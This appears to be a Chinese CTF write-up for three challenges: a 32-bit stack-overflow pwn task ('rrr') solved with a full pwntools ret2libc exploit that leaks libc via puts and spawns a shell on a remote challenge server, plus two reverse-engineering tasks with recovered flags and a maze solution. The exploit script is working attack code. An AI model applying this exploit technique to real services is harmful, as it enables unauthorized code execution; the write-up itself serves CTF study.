题目链接:https://pan.baidu.com/s/1DxE7BN657G0Nornr5_uoWQ
提取码:nz8s
Pwn2 – rrr
先查保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
就开了NX。Ida打开
int sub_80485A5()
{
unsigned int v0; // eax
char v1; // bl
char v2; // al
size_t v3; // edx
int buf[8]; // [esp+8h] [ebp-30h]
unsigned int seed; // [esp+28h] [ebp-10h]
unsigned int i; // [esp+2Ch] [ebp-Ch]
seed = time(0);
sub_804857B();
puts(">");
srand(seed);
v0 = 0;
do
{
buf[v0] = 0;
++v0;
}
while ( v0 < 8 );
read(0, buf, 0xA0u);
for ( i = 0; ; ++i )
{
v3 = strlen((const char *)buf);
if ( v3 <= i )
break;
v1 = *((_BYTE *)buf + i);
v2 = rand();
*((_BYTE *)buf + i) = v2 ^ v1;
}
return 0;
}
发现read能读0xA0个数,但buf的长度只有0x30,很明显的栈溢出。确定溢出的位置0x30+4=0x34。查一下字符,发现system和/bin/sh都没有给,但给了libc,于是通过puts泄露真实地址之后再算基地址,拿到system和binsh的地址
Exp:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
#r=process('./rrr')
r=remote('101.71.29.5',10013)
elf=ELF('rrr')
libc=ELF('libc-2.23.so')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x080485A5
payload='a'*52+p32(puts_plt)+p32(main)+p32(puts_got)
r.recvline('>')
r.sendline(payload)
puts_addr=u32(r.recv(4))
base=puts_addr-libc.symbols['puts']
sys_addr=base+libc.symbols['system']
bin_addr=base+next(libc.search('/bin/sh'))
payload='a'*52+p32(sys_addr)+p32(main)+p32(bin_addr)
r.recvline('>')
r.sendline(payload)
r.interactive()
Reserve1 – she
附件里面有一个exe文件和一个pyc文件,pyc文件无法反编译,一开始以为改了pyc结构,用winhex修改后发现还是不能反编译。于是放弃这个,把目标转到exe文件上,Python生成的exe是通过python的模块进行实现并不是直接编译出程序。可以用pyinstxtractor.py(下载地址https://sourceforge.net/projects/pyinstallerextractor)打开。
打开之后出现了很多文件,用winhex打开AnhengRe文件,加上pyc的文件头
33 0D 0D 0A 00 00 00 00 00 00 00 00
然后后缀改为pyc就可以反编译了。
#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import os
n1 = input('Tell me your name?')
n2 = input('Tell me your pasw')
n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
if n11 + 'AnHeng' == n2:
for i in range(0, 4):
s += st1[3 - i]
print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
os.system('pause')
else:
print('no,' + st0)
凡是输入的代码都没有必要留着,全部注释了
#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import os
#n1 = input('Tell me your name?')
#n2 = input('Tell me your pasw')
#n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
#if n11 + 'AnHeng' == n2:
for i in range(0, 4):
s += st1[3 - i]
print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
os.system('pause')
#else:
#print('no,' + st0)
运行之后拿到flag
Congratulations
flag{5c4e21c11a24129f1ff1e8b5b911101e}
reserve2 - Old-drive3
查壳发现无壳,用ida打开
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // ecx
signed int v4; // eax
char v6; // [esp+0h] [ebp-40h]
char Dst; // [esp+1h] [ebp-3Fh]
char v8; // [esp+27h] [ebp-19h]
int v9; // [esp+34h] [ebp-Ch]
__int16 v10; // [esp+38h] [ebp-8h]
char v11; // [esp+3Ah] [ebp-6h]
v6 = 0;
memset(&Dst, 0, 0x31u);
printf("input flag:n");
scanf("%50s", &v6);
if ( strlen(&v6) == 40 )
{
for ( i = 0; i < (char *)nullsub_1 - (char *)dword_401000; ++i )
*((_BYTE *)dword_401000 + i) ^= 0xBBu;
v10 = '}{';
v9 = 'galf';
v11 = 0;
v4 = 0;
do
{
if ( *(&v6 + v4) != *((_BYTE *)&v9 + v4) )
goto LABEL_8;
++v4;
}
while ( v4 < 5 );
LOBYTE(i) = v8;
if ( v8 != *((_BYTE *)&v9 + v4) )
LABEL_8:
exit(0);
((void (__fastcall *)(int, char *))loc_4010B0)(i, &v6);
}
return 0;
}
主函数就是输入字符串长度40,然后前5个字符要是flag{,后面就没有其他判断了,最后一个函数
((void (__fastcall *)(int, char *))loc_4010B0)(i, &v6);
也打不开。
查看字符串,发现了这些,但却不能找到他们所在的函数位置。
.rdata:00402108 00000041 C ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
.rdata:00402150 00000041 C --------g + ++ + ++ ++ + #+ ++ ++++ ++ ++++ +++--------
.rdata:00402194 00000016 C Congratulation!!!!!!n
再发现主函数这里有一段地址的异或,于是怀疑是不是用了SMC保护,
SMC保护介绍:https://esebanana.github.io/2018/04/08/re_10_tls_smc/#more
for ( i = 0; i < (char *)nullsub_1 - (char *)dword_401000; ++i )
*((_BYTE *)dword_401000 + i) ^= 0xBBu;
OD载入程序,
004012D3 |> /B8 00104000 /mov eax,Old-driv.00401000 ; 入口地址
004012D8 |. |803408 BB |xor byte ptr ds:[eax+ecx],0xBB
004012DC |. |41 |inc ecx
004012DD |. |3BCA |cmp ecx,edx
004012DF |.^7C F2 jl short Old-driv.004012D3
004012E1 |> 66:A1 C421400>mov ax,word ptr ds:[0x4021C4] ; {}
004012E7 |. 8B15 C0214000 mov edx,dword ptr ds:[0x4021C0] ; flag{}
找到了异或之后的位置
004012E1 |> 66:A1 C421400>mov ax,word ptr ds:[0x4021C4] ; {}
dump出来再用ida打开,最后一个函数出现
先是一个异或判断第5-11位字符
v24 = a2;
v2 = 5;
v3 = "xF2xEExEFxF5xD9xEF";
do
{
v4 = *(unsigned __int8 *)v3++;
if ( ((char)a2[v2] ^ 0x86) != v4 )
LABEL_12:
exit(0);
++v2;
}
while ( v2 < 11 );
v30 = 1716410210;
v5 = a2[11];
v29 = 0x7A393163;
后面一大串的移位其实是base64的加密,把第12-17位的字符base64加密后与v30和v29比较。
最后面还有个返回函数,就是最后显示结果的函数
v1 = *(_DWORD *)(a1 + 21);
strcpy(&v9, "--------g + ++ + ++ ++ + #+ ++ ++++ ++ ++++ ++ +--------");
v11 = *(_DWORD *)(a1 + 17);
v2 = *(_DWORD *)(a1 + 25);
v12 = v1;
v3 = *(_DWORD *)(a1 + 29);
v13 = v2;
v4 = *(_DWORD *)(a1 + 33);
v14 = v3;
LOWORD(v3) = *(_WORD *)(a1 + 37);
v15 = v4;
v16 = v3;
v5 = 0;
v6 = &v10;
do
{
v7 = *((_BYTE *)&v11 + v5);
switch ( v7 )
{
case 'a':
v6 += 8;
break;
case 'q':
--v6;
break;
case 'w':
++v6;
break;
case '2':
v6 -= 8;
break;
}
result = *v6;
if ( *v6 == '#' )
{
printf("Congratulation!!!!!!n");
LABEL_15:
exit(0);
}
if ( result != ' ' )
goto LABEL_15;
++v5;
}
while ( v5 < 22 );
return result;
看到switch和一大串字符串以及最后输出Congratulation!!!!!!的比较,第一个想到的就是迷宫,还原成8*8就是这样的
--------
g + +
+ + ++ +
+ + #+ +
+ ++++ +
+ ++++ +
+ +
--------
出发点是g点aqw2分别代表下左右上,直接输出接过来就可以了
waaaaawwwww22222qqqaaw
脚本:
import base64
l1='flag{'
l2='xf2xeexefxf5xd9xef'
flag=""
flag+=l1
for x in l2:
flag+=chr(ord(x)^0x86)
l3='x63x31x39x7ax62x57x4ex66'
flag+=str(base64.b64decode(l3),'utf-8')
flag+='waaaaawwwww22222qqqaaw}'
print(flag)